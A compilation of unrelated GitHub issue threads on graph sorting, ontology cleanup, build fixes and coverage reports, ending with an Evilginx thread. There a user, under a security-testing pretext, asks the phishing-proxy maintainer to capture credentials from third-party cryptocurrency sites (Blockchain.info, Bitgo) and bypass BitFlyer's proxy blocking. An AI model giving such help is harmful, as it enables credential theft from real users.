@bluss ahh you're right, apologies, for some reason I thought a starting index  was needed for a toposort and that in turn the edge directions would affect whether or not some nodes were visited (like in a Dfs) - I realise now that doesn't make sense!
Thanks for the simple example, it has made me realise that I do indeed need a toposort instead of a reverse dfs (I just hadn't yet come across a situation in which it would break). I'll have a go at using the toposort and let you know how it works out :)

Just made the changes and she seems to be working beautifully! Also quite a bit neater :) Once again, many thanks!

Nice! As I said, I want to make this a bit more general, so that you can regenerate the order without having to allocate a new vec. Do you have any performance sensitive parts of your library? I was wondering if allocations might be a hurdle somewhere. The graph algorithms generally allocate at least a node bitmap to track the visited list.

A non-allocating option would definitely be appreciated! I'd love for dsp-chain to be a prime option for real-time audio, so avoiding dynamic allocation, locking, etc where possible are all big priorities.

Ok. Which operations? I'm mostly thinking of having the option to use preallocated structures for visit map and so on.

The two algos that I'm currently using are is_cyclic_directed (to check whether or not adding an edge would create a cycle) and toposort (to prepare the visit order each time an edge is added).

Toposort improvements are now issue  #5
Fun fact: is_cyclic_directed just computes toposort and checks that it gets a valid topo order for all nodes, if this fails, the graph is cyclic.


Obsoletion notice:  GO:0046804 peptide cross-linking via x (single step process)

Dear all,
The proposal has been made to obsolete the terms:

[x] GO:0018069 peptide   cross-linking via 4'-(L-tryptophan)-L-tryptophyl quinone
[x] GO:0018081 peptide cross-linking via   lanthionine or 3-methyl-lanthionine
[x] GO:0018154 peptide cross-linking via (2R,6R)-lanthionine
[x] GO:0018155 peptide cross-linking via sn-(2S,6R)-lanthionine
[x] GO:0018096 peptide cross-linking via   S-(2-aminovinyl)-D-cysteine
[x] GO:0018124 peptide cross-linking via   5'-(N6-L-lysine)-L-topaquinone
[x] GO:0018151 peptide cross-linking via   L-histidyl-L-tyrosine
[x] GO:0018152 peptide cross-linking via 3'-(1'-L-histidyl)-L-tyrosine
[x] GO:0018150 peptide cross-linking via 3-(3'-L-histidyl)-L-tyrosine
[x] GO:0018156 peptide cross-linking via   (2S,3S,6R)-3-methyl-lanthionine
[x] GO:0018157 peptide cross-linking via an   oxazole or thiazole
[x] GO:0018134 peptide cross-linking via glycine oxazolecarboxylic acid
[x] GO:0018137 peptide cross-linking via glycine thiazolecarboxylic acid
[x] GO:0018132 peptide cross-linking via L-cysteine oxazolecarboxylic acid
[x] GO:0018133 peptide cross-linking via L-cysteine oxazolinecarboxylic acid
[x] GO:0018140 peptide cross-linking via L-cysteine thiazolecarboxylic acid
[x] GO:0018141 peptide cross-linking via L-lysine thiazolecarboxylic acid
[x] GO:0018139 peptide cross-linking via L-phenylalanine thiazolecarboxylic acid
[x] GO:0018138 peptide cross-linking via L-serine thiazolecarboxylic acid
[x] GO:0018162 peptide cross-linking via   S-(2-aminovinyl)-3-methyl-D-cysteine
[x] GO:0018232 peptide cross-linking via   S-(L-isoglutamyl)-L-cysteine
[x] GO:0018233 peptide cross-linking via   2'-(S-L-cysteinyl)-L-histidine
[x] GO:0018234 peptide cross-linking via   3'-(S-L-cysteinyl)-L-tyrosine
[x] GO:0018253 peptide cross-linking via   5-imidazolinone glycine
[x] GO:0018313 peptide cross-linking via L-alanyl-5-imidazolinone glycine
[x] GO:0050745 peptide cross-linking via L-cysteinyl-5-imidazolinone glycine
[x] GO:0018274 peptide cross-linking via   L-lysinoalanine
[x] GO:0019800 peptide cross-linking via   chondroitin 4-sulfate glycosaminoglycan
[x] GO:0019927 peptide cross-linking via   4'-(S-L-cysteinyl)-L-tryptophyl quinone
[x] GO:0019928 peptide cross-linking via   3-(S-L-cysteinyl)-L-aspartic acid
[x] GO:0019929 peptide cross-linking via   4-(S-L-cysteinyl)-L-glutamic acid
[x] GO:0030959 peptide cross-linking via   3'-(3'-L-tyrosinyl)-L-tyrosine
[x] GO:0030960 peptide cross-linking via   3'-(O4'-L-tyrosinyl)-L-tyrosine
[x] GO:0046804 peptide cross-linking via   (2S,3S,4Xi,6R)-3-methyl-lanthionine sulfoxide
[ ] GO:0048108 peptide cross-linking via   4-amino-3-isothiazolidinone
[x] GO:0050739 peptide cross-linking via   S-[5'-(L-tryptoph-6'-yl)-L-tyrosin-3'-yl]-L-methionin-S-ium
[ ] GO:0050837 peptide cross-linking via   L-cysteinyl-L-selenocysteine

The reason for obsoletion is that these represents single-step processes. These terms have no annotations, no mappings, and are not present in any subsets.
You can comment on the ticket:
Thanks, Pascale

[ ] GO:0018316 peptide cross-linking via   L-cystine >> 1 TAS TAIR

[ ] GO:0046924 peptide cross-linking via   2-(S-L-cysteinyl)-L-phenylalanine
[ ] GO:0046925 peptide cross-linking via   2-(S-L-cysteinyl)-D-phenylalanine
[ ] GO:0046926 peptide cross-linking via   2-(S-L-cysteinyl)-D-allo-threonine

See PMID:36302388


Explore go-vcr for testing

Potentially go-vcr could be used to make a set of blazing fast pseudo-acceptance tests.  Record the acceptance test suite run against the real API.  Then the acceptance tests can be run against the playback.

This is underway in branch https://github.com/rollbar/terraform-provider-rollbar/tree/vcr-acceptance-tests - but so far have not been able to get a replay run to succeed.

VCR has not proven feasible as a speed-up solution for running all acceptance tests.
However it has proven useful in a few tests, where its limitations are outweighed by its benefits.


API Tests: Use v2 labware fixtures not v2 labware defs

Python API unit tests often use defs directly from shared-data/definitions2/ eg usa_scientific_12_trough_22_ml. If we remove, rename, or modify a def, those unit tests will fail.
Instead, Python API should use fixtures so that tests aren't tightly coupled to any real labware defs. There are some fixtures in shared-data/fixtures (probably should be renamed labwareFixtures2 or something now that I think about it).
┆Issue is synchronized with this Wrike Task by Unito

Closing as stale. If you encounter one of these tests (if any still exist), please swap out the labware def with a fixture


Implement Option to Change Font

Currently there is only one standard font implemented. Please implement an option to change the font.

@mariobehling this is not possible as of now, we need to have some extra pixels in the badge to morph our letters

@mariobehling @iamareebjamal

@adityastic This should be possible. It does not depend on the font.

@mariobehling we are talking about the font we send to the device or the font in our application?

We send bitmap to pixel. Where do we send the font?

@iamareebjamal yes, we created hexadecimals of every character, then we convert the input string into characters and fetch the respective hexadecimal for the character. We are not sending the font

By sending the font, I meant the saved hexadecimal codes for every character

Nobody is talking about sending the font. We're talking about converting the font chars to bitmaps

That's underestimating work. There's no "magic" way to create bitmap fonts.
Either you rasterize the vector/truetype font (on 1bpp that's really bad) which will look usually bad compared to a hand written bitmap.
Or you use a Unicode Bitmap font, but I doubt you'll find a matching height and that will grow the app.

What about an option to use BDF  or PCF  bitmap fonts?
I've used them before when driving LEDs.


Teach Option to accept only explicit values

Add a new attribute/argument explicit_only to Option class. When set
to true, this option will cause Options with nargs=1 to only accept
input that is explicitly associated to it.
This makes the following valid:
command
command --option
command --option=value

This addresses #549 and #764.

Thanks for working on this. While it's an interesting solution to the issue, I don't think we should be adjusting how the basic syntax works for individual options. Addressing this with #1618 instead.


Build a Grid: Android Basics with Compose

URL of codelab:
https://developer.android.com/codelabs/basic-android-kotlin-compose-practice-grid?continue=https%3A%2F%2Fdeveloper.android.com%2Fcourses%2Fpathways%2Fandroid-basics-compose-unit-3-pathway-2%23codelab-https%3A%2F%2Fdeveloper.android.com%2Fcodelabs%2Fbasic-android-kotlin-compose-practice-grid#0
In which task and step of the codelab can this issue be found?
On the first step of the practice project.
Problem:
The hyperlink for ic_grain.xml is broken
Steps to reproduce:

Go to Practice: Build a Grid in the 3rd unit of Android Basics with Compose
Click on the ic_grain.xml link
See error

The correct path appears to be: https://github.com/google-developer-training/basic-android-kotlin-compose-training-courses/blob/f390d720ca536b0f8e488398273b4782a56b86fc/app/src/main/res/drawable/ic_grain.xml


provide a list of all cpp functions and classes  in documentation

Inlcuded option to not build pdf documentation.
Configured doxygen to parse all headers
fixes #943

Codecov Report

Merging #944 (a86244b) into master (1262d05) will not change coverage.
The diff coverage is n/a.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files

@@           Coverage Diff           @@
##           master     #944   +/-   ##
=======================================
  Coverage   68.76%   68.76%
=======================================
  Files         299      299
  Lines       26483    26483
=======================================
  Hits        18210    18210
  Misses       8273     8273

Looks good. Thanks @merakulix! 💐


Huh?

So I found your analysis interesting and, frankly, I'd hope right on board if the last line of your features was true, "Has letters ZXCV and S in their original positions".  Unfortunately I'm seeing this in your layout image:

Was this not compared to QWERTY as the baseline for the originals as noted in the readme?

Hey :) so, the project moved on beyond that. now it has a completely reworked typing layout, but it has the standard QWERTY command layout.
in other words, when you just type text you use the new optimized for typing layout. but when you need to hit ctrl+c, ctrl+v, ctrl+s, etc. the layout flips into QWERTY mode, so you could retain all your muscle memory around those combinations. i hope that makes sense


Please enable landscape mode

Please enable landscape mode.
I need to use the same link app on my phone and tablet. So I need landscape mode. Always flipping my tablet isn't feasible. Thank you.

Hello @rudolfmu,
Thank you for suggestion, we can enable it and perform some test on features that has input fields
Thank you,
Amr


refactor(transformer/react-jsx): improve SpreadChildrenAreNotSupported error implementation

I just noticed that comment

I could merge both your PRs if they are stacked ;-)

I could merge both of your PRs all at once if they are stacked ;-)

I tried graphite. It looks like I need to push the code to this repository instead of my fork repository. But I don't have permission to push to this

I could merge both of your PRs all at once if they are stacked ;-)

I tried graphite. It looks like I need to push the code to this repository instead of my fork repository. But I don't have permission to push to this

You now have write permission, have fun!


"Could not resolve module" for load("@current_workspace//:file.bzl")

Getting "No such file or directory" if load statement in .bzl file uses current workspace. It works if simply //:file.bzl is used.
Looks like the logic here (current main) parses label as RepoKind::Apparent:
https://github.com/withered-magic/starpls/blob/8b11adaa6cead33a4c5b03e823e415edcdc8720e/crates/starpls_bazel/src/label.rs#L192
And later file is expected to reside in external repo, which it does not:
https://github.com/withered-magic/starpls/blob/8b11adaa6cead33a4c5b03e823e415edcdc8720e/crates/starpls/src/document.rs#L279
I am using the full path for demonstration purposes - e.g. some projects may use a given file as an example and use in other repos where they need to use full path.

Ah I see, does your project currently have bzlmod disabled? This currently doesn't work for non-bzlmod projects because I couldn't find a good way to always correctly determine the current workspace name (i.e. respecting any workspace() calls in WORKSPACE.bazel), I'll try looking again to see if there's any better way to do so

Personally I can probably wait for bzlmod to be enabled in my project and will have a workaround till this time.
I have just checked that bazel-lsp as a workaround extracts workspace out of bazel info's execution_root:
https://github.com/cameron-martin/bazel-lsp/blob/92644f21aca7cfbba332c67ac1aa9cf43765e021/src/workspace.rs#L37

Hmm, I just tried that workaround locally (extracting the workspace name from execution_root), but I'm unable to get it to show anything but _main, so not sure that's a reliable enough source for the workspace name.

Actually I guess this differs between Bazel versions, where for Bazel 7 it always defaults to _main and for Bazel 6 it honors the workspace name. I can add support for this workaround then!

Landed some preliminary support for this, although it only works for Bazel 6, let me know if this fits your use case!

It points to proper execroot in bazel 7 if you disable bzlmod (like  bazel info execution_root --noenable_bzlmod).
Thanks, it works with the fix, tested on bazel 7.1.1 with bzlmod disabled.


[resolves #502] Fix build on Windows

Refer to this link for build results (access rights to CI server needed):
https://fabric8-ci.fusesource.com/job/wildfly-camel-pullreq/364/
Test FAILed.

retest this please

Refer to this link for build results (access rights to CI server needed):
https://fabric8-ci.fusesource.com/job/wildfly-camel-pullreq/365/
Test PASSed.

Refer to this link for build results (access rights to CI server needed):
https://fabric8-ci.fusesource.com/job/wildfly-camel-pullreq/366/
Test PASSed.


Dh add form hint

Add option hint for selection buttons
Ref: https://govuk-elements.herokuapp.com/form-elements/#form-hint-text

This one is the default from https://govuk-elements.herokuapp.com/form-elements/#form-hint-text
The hint class is used for "Reveal Hint" which comes with additional padding and custom styling
@samuelhwilliams


Update README.MD

Add Famous-Vue to the list of ui-components

Thanks, per the contribution guide, please add new items to the end of existing lists.


Push credits changes to dev branch

Ref: https://github.com/eosdac/memberclient/pull/10
CC: @piecesnbits

thanks for the enhancement!


Minor platform description change

This is a small change to our platform page to lead with some of the functionality that the hub platform provides, and the "key pieces" that make up a hub. Adding this after an interaction with a funder made me feel like this information needs to be more front and center.

I think this is a non-controversial change so just going to merge it since everybody is off :-)


Normalise Service Mesh Meshmodel model names to SMP enums

Current Behavior

Desired Behavior
model name should be SMP enum and display-model-name should be human readable sourced from the spreadsheet
Implementation

Acceptance Tests

Mockups

Contributor Guides and Resources

📝 Meshery Adapters Spreadsheet
🛠 Meshery Build & Release Strategy
📚 Instructions for contributing to documentation

Meshery documentation site and source

🎨 Wireframes and designs for Meshery UI in Figma
🙋🏾🙋🏼 Questions: Layer5 Discussion Forum and Layer5 Community Slack

This issue has been open for some time with no recent activity, unassigning to open it up for new contributors to give it a go.


Add newcomers section with ost2 links

@maheshtammisetti I wonder if you have thoughts on this guide. You are definitely less biased then rest of 3mdeb team at this point.

@Stojek139808 I see that all issues are resolved, but you are not using pre-commit and because of that those checks fail. Please fix that.

@maheshtammisetti I wonder if you have thoughts on this guide. You are definitely less biased then rest of 3mdeb team at this point.

Reopened in #423, my bad because I didn't notice that I can just reopen it here.

@maheshtammisetti why you closed this?

@pietrushnic It was accidental. I was writing my review and then accidentally closed it.

@maheshtammisetti I can't see any review from you, can you post it in new PR?

Sure I will post a new PR.

@maheshtammisetti we need comments in new PR if you have any. We don't need new PR.


install: don't use ln -r

Oldish enterprise-class distributions have too old versions of
coreutils, with ln not supporting -r.
So we fake it.
ln -r would create minimalist relative paths, but they are not
trivial to generate. Instead, we always create paths relative to the
root, i.e.:
ln -s -r /usr/bin/foo /usr/sbin/foo

would create:  /usr/sbin/foo -> ../bin/foo
while we do :  /usr/sbin/foo -> ../../usr/bin/foo
Signed-off-by: Olivier Schonken<EMAIL_ADDRESS>

There should be some switch in ./configure to detect whether "ln -f" is availableand then be used "ln -f" or the alternative/workaround.
Does your workaround work for any combination of CUPS and cups-filters being in /usr or /usr/local?

There should be some switch in ./configure to detect whether "ln -r" is availableand then be used "ln -r" or the alternative/workaround.

I agree but at the moment I'm focusing on the functionality.

Does your workaround work for any combination of CUPS and cups-filters being in /usr or /usr/local?

I just submitted an update that uses a shell script to mimic ln -r. It meets that requirement.

New version, with logic to detect if ln supports -r.

Thank you for the update. I have added 2 comments to your commit. There seem to be random typos in it.

Fixes #49.

On Wed, Sep 18, 2019 at 5:01 AM Till Kamppeter<EMAIL_ADDRESS>wrote:

Thank you for the update. I have added 2 comments to your commit. There seem to be random typos in it.

Fixed
--
Carlos Santos<EMAIL_ADDRESS>

Thank you very much for your contribution. I have merged it now.


Give an ending to this game

There are quests in this game so help me give an ending to this adventure game using those!
For example:
<2: bad ending
2-3 : okay ending
>3: good ending

NOTE: 250 points are awarded to this issue but it will only be awarded depending on the difficulty level of the quest and your approach
Happy hacking! :)

can i solve dis issue?

can you please assign #3

!assign @Nishanth2465

assign me this

@sjp-codes im going for dinner pause

!extend 45

@Nishanth2465 any updates

@sjp-codes there were some issues with the rock paper scisor section do i was trying to solve it

@sjp-codes im skipping that and just focusing on the ending task rn

@Nishanth2465 put the issue up if you feel like it needs to be solved

!assign @Nishanth2465 50

@sjp-codes ending is done but the quests required to finish to get to the ending are broken,is that fine?

@Nishanth2465 leave the 5th quest and move ahead for the other 4

can you assign me this?

@sjp-codes im done, im having issues submitting the fork

!deassign @Nishanth2465

!assign @Darshanpawar7

@sjp-codes submitted the pullrequest

can you assign me this

can you assign

!assign @Omkar-Patil-08-05

!assign @Dhan1211

!assign @devanshishukla17

please assign me @Redslayer112 -> github username

can i get assigned?

!deassign @devanshishukla17

!assign @devanshishukla17

can i be assigned , i already finished the ending

@Aditya-C-S you weren't assigned this issue

no but i was assigned the fix GUI so in that itself i added the ended , but before i could send pull request i was deassigned

@Aditya-C-S send the pull request...i will look into it but i will kudge you onmy on the ui

ok will do it right away

!deassign @devanshishukla17

!assign @Redslayer112

extension of time because of midnight dance?..

im not assigned can you check please?

!assign @Redslayer112

@Redslayer112 deassign yourself from night manager ui enhancements #3
!withdraw

yeah done, can you assign me now? @sjp-codes

!assign @Redslayer112

!withdraw

Hey can you assign me this issue

@sjp-codes  can I have this issue assigned ?

!assign @pushkar-gr

can i have this issue assigned?

Im fixing @sjp-codes

!assign @pushkar-gr

can u assign??

!deassign @pushkar-gr


Lakes coming as non-compound paths

(see the Great Lakes)
Just affects vector export.

Fixed with https://github.com/datadesk/web-map-maker/commit/1c9a0ad33c6290ecd76a69208c7567e8d41082f4


rb-fsevent, rails_development_boost: TypeError (no implicit conversion of Pathname into String)

I am using Ruby 2.2.0 and Rails 4.2.3.
When I try to use rails-dev-boost in one of my projects I get the following error:
TypeError (no implicit conversion of Pathname into String):
rb-fsevent (0.9.5) lib/rb-fsevent/fsevent.rb:97:in popen'   rb-fsevent (0.9.5) lib/rb-fsevent/fsevent.rb:97:in open_pipe'
rb-fsevent (0.9.5) lib/rb-fsevent/fsevent.rb:37:in run'   rails-dev-boost (0.3.0) lib/rails_development_boost/async/reactor.rb:75:in start_watcher!'
rails-dev-boost (0.3.0) lib/rails_development_boost/async/reactor.rb:53:in `block in start!'

Hey @mohanklein,
thank you for reporting this and let me know if a709a10  fixes it for you.
# Gemfile
group :development do
  gem 'rails-dev-boost', :github => 'thedarkone/rails-dev-boost'
end

# shell
> bundle update --source rails-dev-boost

fixed my problems!
thank you!


4.0.0:Added ice Rail Connector

I created an ice rail connector (100km/h).

Hi,I do this too.Please change ice rail connector to packed ice rail connector。Thank you！

I won't do it now. You can do it yourself.

#830 I did the blue ice connector. But the speed is 250km/h


[FEA] Add param type info for the forward functions of DL models

Report incorrect documentation
I am particularly having issues in exporting single-hot Movielens or Rossmann examples trained with PyT to torchscript because I dont know what to provide as example_inputs. If I serve dict of torch.tensors it is not accepted.  If I serve list of torch.tensors it is not accepted. Currently there is no explanation what x_cat and x_cont types should be when feeding a dataloader batch to model(). Only I can see after debugging that x_cat should be a tuple which is not written anywhere in the code, except there is an if condition without an error message what happens if the condition is not met:
    def forward(self, x_cat, x_cont):
        mh_cat = None
        concat_list = []
        if isinstance(x_cat, tuple):
            x_cat, mh_cat = x_cat
        ...
       ...

https://github.com/NVIDIA-Merlin/NVTabular/blob/main/nvtabular/framework_utils/torch/models.py#L84
User need to know type of inputs to model forward func, particularly for exporting a PyT model to torchscript which requires example_inputs.  https://pytorch.org/docs/stable/generated/torch.jit.trace.html
However I can easily convert Rossmann FastAI model to torchscript.
Location of incorrect documentation
https://github.com/NVIDIA-Merlin/NVTabular/blob/main/nvtabular/framework_utils/torch/models.py#L84
Describe the problems or issues found in the documentation
Return a warning about the expected type of x_cat and x_cont when someone does something like:
model.eval()
model(dummy_input)

Also provide example of how dummy_input should be as a docstring where the source code is. This will be informative and useful.

@jperez999 you can find an example code with fake dataset here: https://gist.github.com/rnyak/8b54fb72d3452c038a31366053b063d6


Mvn2sbt

Works, but needs some finishing off, but to expose it here, we have a working SBT build now.
Why move from Maven to SBT you ask? Because then IDE's can load up the code and work properly with the Java and Scala mix rather than the crazy state we were in with the old build.

@buggtb nice work....
What finishing off does it need?
I will test this out when I get some time to focus on reviewing it properly.

Looks like this could be merged @buggtb and then we could open subsequent issues to address shortcomings. WDYT?

Okay got bored quickly, rest of this stuff is landing now. It looks like mush but we use it in production so whilst it may not have had wide spread testing, it is usable. i just need to document all the new stuff :)

holy sparkler batman

Just shoved an update that has a few fixes in, some updated internal libraries and a revamped default crawler that uses the more flexible Apache HTTP Client and has support both in Chrome and the default crawler for an HTTP Proxy (we tested/use ProxyMesh)

@buggtb do you have a README for building now?

Inside sparkler-core, just run sbt package assembly and it'll create the same build folder as old.
Once we get this merged down, we'll move our development directly against this repo on the usual branching strategy so that we don't have PR's like this again. I've also got proxy support, migration of plain crawls to apache httpclient and fixes for dodgy SSL sides and stuff that all need to go in once this is done.

@buggtb I can't get a clean build because Javadoc generation fails... with quite a few issues. Do you also experience this behaviour?

I mean I can jump in and start updating all of the Javadoc's if you want. That's not an issue. I just want to know if you have a clean build or not.


[FLINK-3974] Fix object reuse with multi-chaining

Before, a job would fail if object reuse was enabled and multiple
operators were chained to one upstream operator. Now, we always create a
shallow copy of the StreamRecord in OperatorChain.ChainingOutput because
downstream operations change/reuse the StreamRecord.
This fix was contributed by @wanderingbort (if this is the right github handle) as a patch on the Flink Jira. I can change the commit to attribute it to him but so far he didn't respond to my question about this on Jira.

Thanks for the contribution @wanderingbort and @aljoscha. I might be wrong, but maybe there is a slightly better place for the copying operation. Furthermore, I think that it would be beneficial if we could test the correct behaviour without instantiating an expensive IT case.

Thanks for the thorough review, @tillrohrmann!
Your points are valid, maybe I'll have to change this PR but let me first explain my reasoning.
The shallow copy is performed in the one place that all code paths have to go through because it is the point right before control is passed to the operator. Putting it in different place would mean placing it in BroadcastingOutputCollector, as you mentioned, as well as in https://github.com/apache/flink/blob/master/flink-streaming-java/src/main/java/org/apache/flink/streaming/api/collector/selector/DirectedOutput.java, which is used when the user does a split()/select() operation (DataStream.split()). The number of places where we have to put this might evolve in the future.
Also, putting it in BroadcastingOutputCollector and DirectedOutput would mean that we always do two copies per record for the common case of having object-copying enabled (which is the default).
About the ITCase. I also don't like having that in there because we are approaching the 2h mark on Travis but I think in this case it's valid. This test really verifies that the whole system works correctly when the user uses a certain feature (I would also add a test for split()/select() now that I thought about it).

I'll try and come up with something, I'll probably remove the isInputCopyDisabled from operator and only allow a global setting for object reuse. This should simplify things.

@tillrohrmann I pushed a commit that removes the per-operator object-reuse setting, refactors broadcasting and direct outputs and changes the ITCase to a test case. Happy reviewing. 😃

Excellent work @aljoscha. Great fix for the problem and it's also really nice that we could get rid of the IT case :-) +1 for merging after addressing my minor comments.

Aw man, I already hat "rename to Test" in my commit but forgot to add that ... 😅
Thanks again, @tillrohrmann, I'll make the changes and merge.

I do not agree with this pr as it always copy  StreamRecord to downstream operator.
StreamMap change the input StreamRecord, so this pr works well. But many operators do not change/reuse the input StreamRecord, like StreamFlatMap.
The following code no not need the extra copy.
`DataStream input = ...
input
.flatmap(FlatMapFunction<A,B>...)
.addSink(...);
input
.flatmap(FlatMapFunction<A,C>...)
.addSink(...);`
So I think we can change StreamMap to not reuse the input StreamRecord. And directly send the StreamRecord if objectReuse is set true.
What do you think?


Respect BibTeX Formatting Preferences

Description
BibTeX often relies upon LaTeX-style markups to determine formatting. This is a common practice in the sciences, especially when naming a specific organism in the title of a journal (which must be italicized). BibTeX achieves this by using the \textit{...} snippet. This is (understandably) not being recognized by Typst and is being output with the citations as plain text. However, this syntax is the convention set by BibTeX.
If Typst is going to support BibTeX these special notations should be handled automatically without having to touch the BibTeX and potentially introduce non-standard syntax.
Reproduction URL
No response
Operating system
Linux
Typst version

[X] I am using the latest version of Typst

A work around is to use $#text(font: "Linux Libertine")[_Caenorhabditis elegans_]$ directly in the bibtex or yml


test: fix package splitting when appending REPO_PATH to tests

this should fix travis unit tests

lgtm

Codecov Report

Merging #8041 into master will decrease coverage by 0.15%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #8041      +/-   ##
==========================================
- Coverage    75.8%   75.65%   -0.16%
==========================================
  Files         341      341
  Lines       26547    26547
==========================================
- Hits        20124    20083      -41
- Misses       4977     5017      +40
- Partials     1446     1447       +1

Impacted Files
Coverage Δ

mvcc/watchable_store.go
69.76% <0%> (-17.83%)
:arrow_down:

pkg/fileutil/purge.go
73.68% <0%> (-7.9%)
:arrow_down:

pkg/testutil/recorder.go
66.66% <0%> (-3.71%)
:arrow_down:

etcdserver/api/v3election/election.go
64.7% <0%> (-2.95%)
:arrow_down:

pkg/netutil/netutil.go
62.35% <0%> (-2.36%)
:arrow_down:

raft/node.go
90.17% <0%> (-2.24%)
:arrow_down:

proxy/grpcproxy/watch.go
89.58% <0%> (-1.39%)
:arrow_down:

pkg/adt/interval_tree.go
89.63% <0%> (-0.61%)
:arrow_down:

etcdserver/server.go
80.46% <0%> (-0.47%)
:arrow_down:

etcdserver/v3_server.go
69.59% <0%> (+0.23%)
:arrow_up:

... and 9 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7350525...9a367a3. Read the comment docs.


Add tests for UpdateMeetingDescriptor

Add tests for UpdateMeetingDescriptor
Change the setAttendees and getAttendees methods in updateMeetingDescriptor to setIndexes and getIndexes for consistency, since in Meeting the attendees refers to a Set<Id> and indexes refers to a Set<Index>

Codecov Report

Merging #245 (8d15ad0) into master (5d6733a) will increase coverage by 1.85%.
The diff coverage is 65.21%.

@@             Coverage Diff              @@
##             master     #245      +/-   ##
============================================
+ Coverage     61.19%   63.04%   +1.85%
- Complexity      756      787      +31
============================================
  Files           119      119
  Lines          2742     2755      +13
  Branches        331      340       +9
============================================
+ Hits           1678     1737      +59
+ Misses          945      899      -46
  Partials        119      119

Impacted Files
Coverage Δ

...n/java/seedu/address/commons/core/index/Index.java
90.90% <ø> (ø)

...ress/logic/parser/meeting/UpdateCommandParser.java
87.50% <0.00%> (ø)

...main/java/seedu/address/model/meeting/Meeting.java
67.30% <50.00%> (-1.74%)
:arrow_down:

...address/model/meeting/UpdateMeetingDescriptor.java
62.00% <75.00%> (+14.00%)
:arrow_up:

.../address/logic/commands/meeting/UpdateCommand.java
86.04% <100.00%> (ø)

...edu/address/model/person/EditPersonDescriptor.java
65.93% <100.00%> (+1.16%)
:arrow_up:

...rc/main/java/seedu/address/model/ModelManager.java
82.19% <0.00%> (+4.10%)
:arrow_up:

...in/java/seedu/address/logic/parser/ParserUtil.java
95.68% <0.00%> (+4.31%)
:arrow_up:

.../main/java/seedu/address/model/person/Company.java
81.81% <0.00%> (+9.09%)
:arrow_up:

... and 7 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update eab4bba...8d15ad0. Read the comment docs.


CloudFlare Restriction

Hey! Thanks for this amazing system, it has helped our company tackle several security issues related to 2FA.
We were wondering if Evilginx was capable of capturing credentials from websites that use CloudFlare? So far, we've been unsuccessful using Evilginx to hack into our website since we use CloudFlare. Just wanted to see if there was any vulnerability we should look out for.
Thanks!
Tim

Hey Tim.
Thanks a lot.
I haven't tried personally, but if you have such website, please contact me
via email and I will be most happy to give it a try.
On Sat, 16 Jun 2018, 07:42 timretzlaff<EMAIL_ADDRESS>wrote:

Hey! Thanks for this amazing system, it has helped our company tackle
several security issues related to 2FA.
We were wondering if Evilginx was capable of capturing credentials from
websites that use CloudFlare? So far, we've been unsuccessful using
Evilginx to hack into our website since we use CloudFlare. Just wanted to
see if there was any vulnerability we should look out for.
Thanks!
Tim
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/kgretzky/evilginx/issues/66, or mute the thread
https://github.com/notifications/unsubscribe-auth/ASXmJ9wopcLmKtsQYzLOWf4kFcgcSU5jks5t9JrJgaJpZM4UqXhd
.

Hi Kuba,
Wow, I did not expect someone with your prestige and abilities to get back
to us so quickly! Thank you so much for your time.
The site we are building is called BitKido, and we want to set it up
similarly to other popular digital wallet sites (and bitcoin trading sites)
like Blockchain.info, Coinbase.com or Bitgo.com. We are going with
CloudFlare to protect our servers, but wanted someone of your expertise to
help ensure that our servers are truly impenetrable from MITM attacks.
Are you able to penetrate CloudFlare servers for either Blockchain.info or
Bitgo.com? We are able to get session tokens but not login credentials,
which is great! If you are also not able to get credentials, then we can
feel more secure in our decision to go with CloudFlare. However, if your
attacks succeed at penetrating either blockchain or bitgo, could you help
us understand how in detail, and also, can you suggest any alternatives
that might be better at keeping our servers protected?
Thanks!
Tim
On Sat, Jun 16, 2018 at 2:15 AM, Kuba Gretzky<EMAIL_ADDRESS>wrote:

Hey Tim.
Thanks a lot.
I haven't tried personally, but if you have such website, please contact me
via email and I will be most happy to give it a try.
On Sat, 16 Jun 2018, 07:42 timretzlaff<EMAIL_ADDRESS>wrote:

Hey! Thanks for this amazing system, it has helped our company tackle
several security issues related to 2FA.
We were wondering if Evilginx was capable of capturing credentials from
websites that use CloudFlare? So far, we've been unsuccessful using
Evilginx to hack into our website since we use CloudFlare. Just wanted to
see if there was any vulnerability we should look out for.
Thanks!
Tim
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/kgretzky/evilginx/issues/66, or mute the thread
<https://github.com/notifications/unsubscribe-auth/
ASXmJ9wopcLmKtsQYzLOWf4kFcgcSU5jks5t9JrJgaJpZM4UqXhd>
.

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/kgretzky/evilginx/issues/66#issuecomment-397793378,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AmcdthHVorT-jmikNzkDILTnhBt6jvVLks5t9LB3gaJpZM4UqXhd
.

Hey Tim,
Thanks for the kind words. I'm flattered too much :)
I will most likely look into these. I'm currently trying to push Evilginx2 for release as soon as possible, so I plan to make this happen as the first priority.
After that I will for sure use the new version to look closer into CloudFlare sites and let you know what I'm able to find.

Thank you Kuba.
That's awesome news regarding Evilginx2! When do you expect it's release?
Regarding Cloudflare, what we've noticed is that we can capture the user
session token from the CloudFlare proxy server (Set-Cookie: "__cfduid"),
but the user's credentials are not logged. Instead, the .token file in
/etc/evilginx/logs states that the username is "unknown" and the password
field is left blank.
We attempted another potential workaround, and also were curious if you
know of any vulnerabilities in this. On the website BitFlyer, there are no
CloudFlare proxies setup, but any access of their main webserver through a
reverse proxy is immediately redirected to port 444 (error). Any idea of
how a hacker could get around this? This seems like a much more simple and
cost-effective method than CloudFlare to prevent unauthorized access to our
server using a penetration attack like Evilginx. Our security budget is
limited, so we want to make the most intelligent decision that we can
afford currently.
What do you think?
Best,
Tim
P.S. My kind words are nothing compared to the wonderful knowledge you've
provided for our company, Kuba. We've been able to pre-emptively avoid so
many potential attacks from hackers all over the world due to the extensive
knowledgebase you've constructed through Evilginx. We understand so much
more now about the vulnerabilities in such systems. Thank you again from
all of us!
We'd love to be able to chat with you live and ask some follow-up
questions if you were at all willing or available in the next couple weeks?
Anonymously, of course, as I'm sure this would be your preference.
